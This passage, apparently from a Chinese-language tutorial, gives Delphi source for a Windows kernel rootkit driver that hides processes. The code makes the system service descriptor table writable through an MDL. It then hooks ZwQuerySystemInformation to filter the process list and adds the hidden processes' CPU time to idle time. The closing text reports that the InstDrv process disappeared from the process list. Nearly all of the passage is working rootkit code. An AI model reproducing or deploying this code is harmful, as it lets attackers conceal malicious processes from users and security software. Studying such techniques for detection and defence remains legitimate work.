          PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
        else
          curr := nil;
      end;
    end else if SystemInformationClass = SystemProcessorTimes then
    begin
      times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
      times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
                                  m_UserTime.QuadPart +
                                  m_KernelTime.QuadPart;
    end;
  end;
  Result := nt_Status;
end;

procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
begin
  DbgPrint('ROOTKIT: OnUnload called'#13#10);

  { 卸載hook }
  InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                      LONG(@OldZwQuerySystemInformation));
  { 解鎖並釋放MDL }
  if g_pmdlSystemCall <> nil then
  begin
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  end;
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
                      pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
  { 取得指向系統服務描述符表的指針…… }
  lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
  { 註冊一個卸載的分發函數,與與應用層溝通 }
  pDriverObject^.DriverUnload := @OnUnload;

  { 初始化全局時間為零 }
  { 這將會解決時間問題,如果不這樣,儘管隱藏了進程,但時間的
    消耗會不變,cpu 100% }
  m_UserTime.QuadPart := 0;
  m_KernelTime.QuadPart := 0;

  { 保存舊的函數地址 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

  { 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

  { 把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,
   先突破了SSDT的保護,接著用InterlockedExchange更改了目標函數,
   下來就剩下具體的過濾任務了 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                        LONG(@NewZwQuerySystemInformation)));

  Result := STATUS_SUCCESS;
end;

end.

這裡我隱藏了InstDrv這個進程,加載驅動後可以發現我們的驅動確實Hook了ZwQuerySystemInformation,而且在進程列表中也看不到InstDrv進程,說明我們的驅動是成功的^_^。